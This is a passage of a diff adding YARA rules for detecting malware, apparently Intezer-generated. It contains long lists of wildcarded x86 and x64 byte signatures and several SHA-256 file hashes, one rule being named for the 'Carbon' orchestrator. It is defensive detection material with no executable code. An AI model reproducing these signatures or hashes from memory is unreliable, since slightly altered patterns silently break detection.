+		$block_1 = { 8B ?? ?? 0B ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? 0F AF ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_2 = { 8B ?? ?? 0B ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_3 = { E8 ?? ?? ?? ?? 10 ?? 00 ?? ?? 6C 65 ?? 06 8B ?? 01 ?? 8B ?? 8B ?? ?? 3D ?? ?? ?? ?? 84 ?? ?? 75 }
+		$block_4 = { 08 ?? ?? ?? ?? ?? F7 ?? 4? 4? FF C? FF 7? ?? 3A ?? 80 7? ?? ?? CC CC CC CC CC CC CC CC CC CC CC }
+		$block_5 = { 8B ?? ?? 0B ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? 0B ?? ?? 81 F? ?? ?? ?? ?? 0F 85 }
+		$block_6 = { 5? 68 ?? ?? ?? ?? 10 ?? ?? 68 ?? ?? ?? ?? 4? 61 68 ?? ?? ?? ?? 8B ?? 5? 85 ?? 8C ?? ?? 00 ?? E9 }
+		$block_7 = { 8B ?? ?? 03 ?? ?? BA ?? ?? ?? ?? 6B ?? ?? 0F B7 ?? ?? 8B ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 75 }
+		$block_8 = { 8B ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? 23 ?? ?? 81 F? ?? ?? ?? ?? 0F 86 }
+		$block_9 = { F1 C4 ?? ?? 85 ?? ?? ?? 00 ?? ?? 00 ?? ?? ?? ?? ?? 20 ?? FF 0? 4? 00 ?? ?? FF B? ?? ?? ?? ?? 72 }
+		$block_10 = { 8B ?? ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 81 F? ?? ?? ?? ?? 0F 83 }
+		$block_11 = { EC 07 80 8? ?? ?? ?? ?? ?? 5? 5? 5? 8B ?? ?? ?? ?? ?? CC FF 1? ?? ?? ?? ?? 24 ?? 8B ?? 5? 5? 79 }
+		$block_12 = { EC 83 ?? ?? 83 ?? ?? 83 ?? ?? ?? 33 ?? 8B ?? ?? 5? 5? 8D ?? ?? ?? AB AB AB 8B ?? ?? 3B ?? ?? 72 }
+		$block_13 = { 8B ?? 5? 8B ?? 83 ?? ?? 5? 5? 5? 33 ?? 89 ?? ?? 8B ?? 89 ?? ?? 8B ?? 8B ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_14 = { F8 10 ?? ?? ?? ?? ?? 63 ?? 00 ?? ?? ?? ?? ?? 8B ?? 4? 08 ?? E8 ?? ?? ?? ?? 10 ?? 5? 5? EC 5? 74 }
+		$block_15 = { FF 5? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? FF 4? ?? 08 ?? 8D ?? ?? ?? 02 ?? 9D 4? 16 02 ?? E9 }
+		$block_16 = { 69 ?? ?? ?? ?? ?? ?? 0F 74 ?? ?? 00 ?? ?? 4? 08 ?? ?? 89 ?? ?? 88 ?? ?? ?? ?? ?? 00 ?? ?? C9 74 }
+		$block_17 = { 00 ?? ?? 5? 4? 24 ?? E8 ?? ?? ?? ?? 00 ?? ?? 0F 20 ?? 8D ?? ?? ?? ?? ?? 00 ?? ?? ?? 85 ?? 0F 85 }
+		$block_18 = { 15 ?? ?? ?? ?? 00 ?? ?? 4? 6C 00 ?? E8 ?? ?? ?? ?? 00 ?? ?? 5? CE E8 ?? ?? ?? ?? CC 8B ?? ?? 79 }
+		$block_19 = { 4? C0 ?? ?? ?? ?? C9 00 ?? ?? ?? ?? ?? 4? FC 07 8B ?? ?? 10 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 70 }
+		$block_20 = { CC B8 ?? ?? ?? ?? FF 7? ?? ?? 9D 4? 5? FF F? 0F 10 ?? ?? ?? ?? ?? 5? FF 8? ?? ?? ?? ?? FF C? 74 }
+		$block_21 = { 8B ?? 5? 8B ?? 83 ?? ?? 83 ?? ?? ?? 33 ?? 5? 5? 8D ?? ?? 89 ?? ?? AB AB AB 8B ?? ?? 85 ?? 75 }
+		$block_22 = { 8B ?? ?? 23 ?? ?? 89 ?? ?? 8B ?? ?? 0B ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_23 = { 8B ?? 04 ?? 00 ?? 6F 62 ?? ?? 68 ?? ?? ?? ?? 3F 4? 29 ?? 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 72 }
+		$block_24 = { 8B ?? ?? 0B ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 3D ?? ?? ?? ?? 0F 83 }
+		$block_25 = { 89 ?? 61 F6 ?? ?? 6A ?? 00 ?? ?? FF 8? ?? ?? ?? ?? 3C ?? 00 ?? 8D ?? ?? ?? ?? ?? 00 ?? ?? 74 }
+		$block_26 = { 63 ?? ?? 89 ?? ?? ?? ?? ?? FF 8? ?? ?? ?? ?? 8B ?? 0E 00 ?? ?? ?? ?? ?? 15 ?? ?? ?? ?? 0F 85 }
+		$block_27 = { EC 83 ?? ?? ?? 15 ?? ?? ?? ?? 8B ?? 24 ?? 00 ?? ?? ?? FF 5? ?? 14 ?? C9 FF C? FF 5? ?? 4? EF }
+		$block_28 = { 8D ?? ?? ?? ?? ?? 8B ?? ?? 5? FF 0? 65 ?? ?? 6A ?? 83 ?? ?? ?? 33 ?? 16 02 ?? ?? ?? ?? ?? 14 }
+		$block_29 = { 00 ?? ?? B8 ?? ?? ?? ?? 5? FF 0? 00 ?? ?? ?? ?? ?? FC C0 ?? ?? ?? 00 ?? 00 ?? ?? 00 ?? 5? 72 }
+		$block_30 = { FF 9? ?? ?? ?? ?? FF 0? 8D ?? ?? A1 ?? ?? ?? ?? 5? 8B ?? CC CC 13 ?? ?? 8B ?? ?? 00 ?? ?? 75 }
+		$block_31 = { 3C ?? 65 ?? ?? ?? ?? ?? ?? 5? 8B ?? ?? 85 ?? 0F 33 F6 ?? ?? EC 83 ?? ?? 8B ?? ?? 8B ?? ?? 72 }
+		$block_32 = { 8B ?? 8B ?? 8B ?? 5? E8 ?? ?? ?? ?? 01 ?? 8D ?? ?? 08 ?? ?? FC 8B ?? ?? 89 ?? ?? ?? ?? ?? 89 }
+		$block_33 = { 4? FC 85 ?? C7 ?? ?? ?? ?? ?? ?? 0F 67 ?? 6C 00 ?? 6B ?? ?? ?? 24 ?? 0C ?? 02 ?? ?? 5? FF 5? }
+		$block_34 = { 64 ?? ?? 8B ?? ?? ?? ?? ?? 5? 00 ?? ?? E8 ?? ?? ?? ?? 5? FF 0? 00 ?? ?? 4? F8 83 ?? ?? FF 2? }
+		$block_35 = { 00 ?? 68 ?? ?? ?? ?? 30 ?? 63 ?? 69 ?? ?? ?? ?? ?? ?? 6E 8B ?? 69 ?? ?? ?? ?? ?? 00 ?? 74 }
+		$block_36 = { 61 9? 10 ?? 00 ?? 29 ?? ?? 4? 6F EC 8B ?? ?? EC 8B ?? 9? 00 ?? ?? 24 ?? E8 ?? ?? ?? ?? 70 }
+		$block_37 = { E8 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00 ?? ?? FC 33 ?? 33 ?? 3F 4? 10 ?? ?? 5? F3 ?? ?? 5? 73 }
+		$block_38 = { 68 ?? ?? ?? ?? 24 ?? 4? FC F4 05 ?? ?? ?? ?? 29 ?? 61 63 ?? 04 ?? 69 ?? ?? ?? ?? ?? ?? 5? }
+		$block_39 = { 0E 00 ?? ?? 01 ?? 89 ?? ?? 8D ?? ?? 89 ?? ?? ?? ?? ?? 00 ?? ?? F8 63 ?? 5? 5? 00 ?? ?? 74 }
+		$block_40 = { CC CC CC CC CC CC CC CC CC CC CC CC 8B ?? 5? 8B ?? 5? 5? 8B ?? 33 ?? 5? 8B ?? 85 ?? 0F 84 }
+		$block_41 = { 30 ?? 8D ?? ?? 00 ?? 5? 5? 8D ?? ?? ?? ?? ?? CC B8 ?? ?? ?? ?? FF 0? 00 ?? ?? ?? ?? ?? 75 }
+		$block_42 = { 5? 5? F6 ?? ?? 00 ?? D6 8B ?? 85 ?? 4? 24 ?? 65 ?? ?? ?? ?? 02 ?? 8B ?? ?? 85 ?? 8B ?? 75 }
+		$block_43 = { F6 ?? ?? 4? FF 0? 61 FF 1? ?? ?? ?? ?? 07 8B ?? ?? ?? ?? ?? 5? 0E 00 ?? 83 ?? ?? 14 ?? 79 }
+		$block_44 = { FF C? F4 05 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 5? 5? 4? 4? 69 ?? ?? ?? ?? ?? ?? CC 63 ?? 74 }
+		$block_45 = { 03 ?? ?? ?? ?? ?? E4 ?? 4? FC E8 ?? ?? ?? ?? 8B ?? 5? 89 ?? ?? C6 ?? ?? ?? 85 ?? 74 }
+		$block_46 = { EC 00 ?? 8D ?? ?? 24 ?? 00 ?? ?? 6E 61 2E ?? BC ?? ?? ?? ?? 04 ?? 24 ?? 2F 13 ?? 74 }
+		$block_47 = { 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 01 ?? 13 ?? ?? 3D ?? ?? ?? ?? 24 ?? 8B ?? 61 74 }
+		$block_48 = { 6C 65 ?? 8B ?? FF 5? ?? 00 ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? F4 24 ?? FF 0? 20 ?? ?? 74 }
+		$block_49 = { 0C ?? 0E F0 ?? ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 8B ?? ?? 6A ?? 83 ?? ?? 5? 3B ?? 76 }
+		$block_50 = { 00 ?? ?? 1C ?? 8B ?? ?? 00 ?? ?? B8 ?? ?? ?? ?? FF 5? ?? 8B ?? ?? EC 8B ?? ?? 70 }
+		$block_51 = { 01 ?? ?? ?? 6F 02 ?? FB FF 7? ?? 00 ?? 8B ?? 00 ?? ?? 00 ?? ?? ?? 5? 00 ?? ?? 72 }
+		$block_52 = { FB FF 5? ?? C6 ?? ?? ?? FF 7? ?? 00 ?? ?? 00 ?? ?? 6F 61 69 ?? ?? ?? ?? ?? ?? 70 }
+		$block_53 = { 8B ?? ?? 8D ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? A5 C7 ?? ?? ?? ?? ?? ?? A5 A5 A5 }
+		$block_54 = { FB FF 6? ?? ?? 24 ?? 68 ?? ?? ?? ?? 64 ?? ?? 6E 8D ?? ?? ?? ?? ?? 13 ?? ?? 74 }
+		$block_55 = { 6E 64 ?? ?? ?? E8 ?? ?? ?? ?? 13 ?? ?? 10 ?? ?? ?? 6D 6D 00 ?? ?? ?? ?? ?? 74 }
+		$block_56 = { 8B ?? 6F 6E 5? FF 5? ?? 05 ?? ?? ?? ?? 20 ?? E8 ?? ?? ?? ?? FF 6? ?? 8B ?? 10 }
+		$block_57 = { F6 ?? 6A ?? 24 ?? 8B ?? ?? 85 ?? A5 A5 9? 10 ?? 3A ?? ?? 33 ?? 00 ?? 5? 5? 6D }
+		$block_58 = { 00 ?? 4? 4? 61 08 ?? 00 ?? F6 ?? ?? ?? 08 ?? 9? 10 ?? 00 ?? ?? ?? ?? ?? E9 }
+		$block_59 = { 00 ?? 00 ?? ?? 00 ?? ?? 02 ?? C8 ?? ?? ?? BC ?? ?? ?? ?? 04 ?? 6C 63 ?? 74 }
+		$block_60 = { 29 ?? 00 ?? 00 ?? ?? ?? ?? ?? 84 ?? ?? 6C 8B ?? 04 ?? 00 ?? ?? 85 ?? FF 6? }
+		$block_61 = { 4? 4? 10 ?? ?? 1C ?? 05 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? FB 2E ?? 61 74 }
+		$block_62 = { 8D ?? ?? ?? ?? ?? ?? FC 13 ?? ?? 5? F4 05 ?? ?? ?? ?? C0 ?? ?? ?? ?? 75 }
+		$block_63 = { 5? 3A ?? 5? 8B ?? EC 8B ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 65 ?? ?? ?? 00 }
+		$block_64 = { 00 ?? 00 ?? 65 ?? ?? 00 ?? ?? 00 ?? FF 6? ?? 63 ?? 6A ?? 3A ?? CC 6F 70 }
+		$block_65 = { 8B ?? 0C ?? 6F 6D 00 ?? ?? 8B ?? 01 ?? 01 ?? 4? 4? 00 ?? ?? ?? ?? ?? 70 }
+		$block_66 = { 2F 4? 65 ?? ?? ?? ?? ?? ?? 5? 3A ?? ?? 64 ?? 5? 5? BC ?? ?? ?? ?? 6F 63 }
+		$block_67 = { 8B ?? ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 81 F? ?? ?? ?? ?? 0F 86 }
+		$block_68 = { 8B ?? ?? 6A ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_69 = { 04 ?? 4? 04 ?? 4? 04 ?? 5? 04 ?? 05 ?? ?? ?? ?? 0E 8B ?? ?? 3B ?? 75 }
+		$block_70 = { 8B ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? C1 ?? ?? 81 F? ?? ?? ?? ?? 0F 83 }
+		$block_71 = { 6D 6D 00 ?? ?? 00 ?? ?? ?? ?? ?? 00 ?? ?? ?? 20 ?? 20 ?? ?? 0C ?? 74 }
+		$block_72 = { 02 ?? 2F 62 ?? ?? 10 ?? 8B ?? 20 ?? 2E ?? ?? 85 ?? 6F 6E 0C ?? 6D }
+		$block_73 = { 4? 61 10 ?? 08 ?? 4? 61 00 ?? ?? ?? 5? 24 ?? 5? 00 ?? 00 ?? ?? 20 }
+		$block_74 = { 8B ?? ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? 0B ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$block_75 = { CC 00 ?? ?? ?? ?? ?? 10 ?? ?? ?? ?? ?? 06 8B ?? ?? ?? ?? ?? 61 74 }
+		$block_76 = { FD FF 0? C6 ?? ?? 3F 4? 00 ?? ?? 15 ?? ?? ?? ?? 5? 61 63 ?? ?? 70 }
+		$block_77 = { 8B ?? ?? 33 ?? 6B ?? ?? 03 ?? 8B ?? AB AB AB AB AB 5? 85 ?? 74 }
+		$block_78 = { 8B ?? ?? C1 ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_79 = { A5 6C 65 ?? ?? 00 ?? ?? 4? 69 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? 84 }
+		$block_80 = { 24 ?? 69 ?? ?? ?? ?? ?? 8B ?? ?? 00 ?? ?? 00 ?? ?? A5 A5 61 72 }
+		$block_81 = { 6A ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_82 = { 5? 8B ?? ?? ?? FF 5? ?? 61 69 ?? ?? ?? ?? ?? ?? ?? ?? ?? 2F }
+		$block_83 = { F7 ?? ?? ?? ?? ?? 6A ?? 4? 06 8B ?? ?? ?? ?? ?? 01 ?? ?? C2 }
+		$block_84 = { 24 ?? 08 ?? ?? ?? ?? ?? 01 ?? 2F 00 ?? 6A ?? 6C CC 8B ?? 8D }
+		$block_85 = { 10 ?? ?? 00 ?? 4? 00 ?? 8D ?? 2F 5? 61 63 ?? 08 ?? ?? FF 6? }
+		$block_86 = { 8B ?? ?? 8D ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? A5 A5 A5 A5 33 }
+		$block_87 = { FC E8 ?? ?? ?? ?? 8B ?? 5? 89 ?? ?? C6 ?? ?? ?? 85 ?? 74 }
+		$block_88 = { FF C? 3D ?? ?? ?? ?? 6D 08 ?? ?? ?? ?? ?? 29 ?? 33 ?? 70 }
+		$block_89 = { 8B ?? 5? 8B ?? 5? 5? 8B ?? 33 ?? 5? 8B ?? 85 ?? 0F 84 }
+		$block_90 = { 69 ?? ?? ?? ?? ?? ?? 5? 0C ?? 65 ?? ?? 2E ?? ?? 6F 72 }
+		$block_91 = { 8B ?? ?? 0F AF ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? EB }
+		$block_92 = { 00 ?? 3D ?? ?? ?? ?? 4? 1C ?? 00 ?? 4? 08 ?? ?? 06 70 }
+		$block_93 = { FF 8? ?? ?? ?? ?? 00 ?? ?? 08 ?? ?? 5? 5? F7 ?? 6F 72 }
+		$block_94 = { 00 ?? ?? ?? ?? ?? 00 ?? ?? 61 10 ?? 5? 4? 3A ?? 06 8B }
+		$block_95 = { 8B ?? ?? 5? 5? 5? 8B ?? FF 5? ?? 8B ?? 85 ?? 0F 88 }
+		$block_96 = { 0F B7 ?? ?? 0F B7 ?? ?? 66 ?? ?? 0F 92 ?? 84 ?? 75 }
+		$block_97 = { CC CC CC 8B ?? 5? 8B ?? 83 ?? ?? 8B ?? ?? 5? 5? 75 }
+		$block_98 = { 6D 62 ?? ?? 5? 24 ?? 6C 00 ?? 61 6E 8B ?? ?? 72 }
+		$block_99 = { 69 ?? ?? ?? ?? ?? F7 ?? FF 1? ?? 08 ?? ?? CC 72 }
+
+	condition:
+		hash.sha256(0, filesize) == "2a61b4d0a7c5d7dc13f4f1dd5e0e3117036a86638dbafaec6ae96da507fb7624" or
+		hash.sha256(0, filesize) == "f667680df596631fba58754c16c3041fae12ed6bf25d6068e6981ee68a6c9d0a" or
+		hash.sha256(0, filesize) == "5e0dd729c21cd507bdb2a40954917685628f83171280bd34120cfe20c51ce4bf" or
+		hash.sha256(0, filesize) == "ecfa113838c5542f6db62dbe8b27d4ff099afe711048ccf76924799044dd4ab6" or
+		hash.sha256(0, filesize) == "b362b235539b762734a1833c7e6c366c1b46474f05dc17b3a631b3bff95a5eec" or
+		hash.sha256(0, filesize) == "2e6dba522e5ca03c5ca5bc60ecec212177482898c7ec81a0871b19a67cf124e8" or
+		hash.sha256(0, filesize) == "b295032919143f5b6b3c87ad22bcf8b55ecc9244aa9f6f88fc28f36f5aa2925e" or
+		hash.sha256(0, filesize) == "fc9961e78890f044c5fc769f74d8440fcecf71e0f72b4d33ce470e920a4a24c3" or
+		12 of them
+}
+
+rule CarbonOrchestrator_v3_77_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_1 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 8B ?? 48 ?? ?? ?? ?? 8B ?? ?? 2B ?? 8B ?? 89 ?? ?? ?? EB }
+		$block_2 = { 4C ?? ?? ?? ?? 88 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 85 ?? 74 }
+		$block_3 = { C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B6 ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 3D ?? ?? ?? ?? 0F 85 }
+		$block_4 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 83 ?? ?? 75 }
+		$block_5 = { 0F B7 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 48 ?? ?? ?? ?? 66 ?? ?? ?? EB }
+		$block_6 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? 33 ?? B9 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? EB }
+		$block_7 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_8 = { 4C ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 84 }
+		$block_10 = { 0F BE ?? ?? ?? BA ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 83 ?? ?? 7C }
+		$block_11 = { 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 3D ?? ?? ?? ?? 75 }
+		$block_12 = { 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_13 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 88 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 75 }
+		$block_14 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B6 ?? ?? 88 ?? ?? ?? 8B ?? ?? ?? FF C? 89 ?? ?? ?? C7 }
+		$block_15 = { 8B ?? ?? ?? 44 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_16 = { 8B ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 74 }
+		$block_17 = { 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 85 ?? 74 }
+		$block_18 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F BE ?? ?? ?? 83 ?? ?? 74 }
+		$block_19 = { 48 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_20 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? 33 ?? B9 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? 73 }
+		$block_21 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_22 = { 0F BF ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? ?? EB }
+		$block_23 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_24 = { 0F BF ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? ?? E9 }
+		$block_25 = { 33 ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_26 = { FF 1? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 81 B? ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_27 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_28 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_29 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? ?? ?? 0F 85 }
+		$block_30 = { 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_31 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 83 ?? ?? 0F 85 }
+		$block_32 = { B2 ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_33 = { 0F BE ?? ?? ?? 8B ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 74 }
+		$block_34 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? 39 ?? ?? 0F 85 }
+		$block_35 = { 48 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F B7 ?? ?? 85 ?? 74 }
+		$block_36 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_37 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 66 ?? ?? ?? ?? EB }
+		$block_38 = { 0F B6 ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? 8B ?? 0F B6 ?? ?? ?? 03 ?? 8B ?? 88 }
+		$block_39 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 2B ?? 3B ?? ?? ?? 0F 87 }
+		$block_40 = { 8B ?? ?? ?? ?? ?? ?? FF C? 48 ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 75 }
+		$block_41 = { 48 ?? ?? ?? ?? 8B ?? ?? 99 83 ?? ?? 03 ?? C1 ?? ?? 39 ?? ?? ?? 7E }
+		$block_42 = { 0F BE ?? ?? ?? 8B ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 74 }
+		$block_43 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 2B ?? 8B ?? 3D ?? ?? ?? ?? 0F 8C }
+		$block_44 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? ?? 39 ?? ?? ?? 77 }
+		$block_45 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_46 = { 8B ?? ?? ?? FF C? 89 ?? ?? ?? 0F B7 ?? ?? ?? 39 ?? ?? ?? 0F 83 }
+		$block_47 = { B2 ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
+		$block_48 = { 48 ?? ?? ?? ?? 0F B6 ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 83 ?? ?? 75 }
+		$block_49 = { 0F B6 ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? 0F B6 ?? ?? ?? 85 ?? 0F 84 }
+		$block_50 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_51 = { 48 ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 39 ?? ?? ?? ?? ?? ?? 0F 83 }
+		$block_52 = { 8B ?? ?? ?? FF C? 48 ?? 48 ?? ?? ?? ?? 0F BE ?? ?? 85 ?? 75 }
+		$block_53 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 0F 84 }
+		$block_54 = { 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 83 ?? ?? 75 }
+		$block_55 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 2B ?? 8B ?? 85 ?? 0F 85 }
+		$block_56 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 75 }
+		$block_57 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 7F }
+		$block_58 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_59 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 3B ?? 7D }
+		$block_60 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 2B ?? 8B ?? 85 ?? 0F 8E }
+		$block_61 = { 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 0F 85 }
+		$block_62 = { 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 0F 86 }
+		$block_63 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 3D ?? ?? ?? ?? 74 }
+		$block_64 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_65 = { 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? 39 ?? ?? 0F 83 }
+		$block_66 = { B2 ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 ?? 85 ?? 75 }
